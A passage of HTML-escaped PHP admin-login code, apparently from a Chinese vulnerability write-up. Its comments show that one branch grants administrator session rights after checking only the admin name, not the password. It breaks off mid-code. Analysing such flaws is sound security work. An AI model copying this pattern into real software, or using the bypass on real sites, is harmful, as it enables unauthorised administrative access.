&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$admin_obj = new Admin( );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$admin = $admin_obj-&gt;getByAdminname( $adminname );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;//悲剧！ 只验证了管理员账号&nbsp; 没有验证密码！！！<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( $admin )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$admin['acl'] = $admin_obj-&gt;getAdminACL( $admin['adminid'] );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$_SESSION['admininfo'] = $admin;<br />//获得管理员权限了！！！！！！！！！<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;++$_SESSION['admininfo']['logintimes'];<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$admin_obj-&gt;updateLastLogin( $admin['adminid'] );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;include_once( LIB_PATH.&quot;auth/Auth.class.php&quot; );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$auth = new Auth( );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$auth-&gt;checkMenu( true );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$excms_action['loadtpl'] = false;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$login_fail = false;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br />//跳过没有COKIES&nbsp; &nbsp;下面就是真正的验证登录状态&nbsp; 请注意 是有验证密码的！<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( $EXCMS['config']['login_verifycode'] )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$param['verifycode'] = trim( $param['verifycode'] );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( $param['verifycode'] == &quot;&quot; )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$error = getlangbyname( &quot;EMPTY_VERIFYCODE&quot; );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;else<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;include_once( LIB_PATH.&quot;util/CheckCode.class.php&quot; );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$checkcode = new CheckCode( );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( !$checkcode-&gt;check( $param['verifycode'] ) )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$error = getlangbyname( &quot;VERIFYCODE_FAILED&quot; );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( empty( $error ) )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;include_once( LIB_PATH.&quot;auth/Auth.class.php&quot; );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$auth = new Auth( );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$loginMsg = $auth-&gt;Login( $adminname, $password );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( $loginMsg['success'] )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$_SESSION['admininfo'] = $loginMsg['admininfo'];<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;++$_SESSION['admininfo']['logintimes'];<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$auth-&gt;checkMenu( true );<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( $rememberPwd == 1 )<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 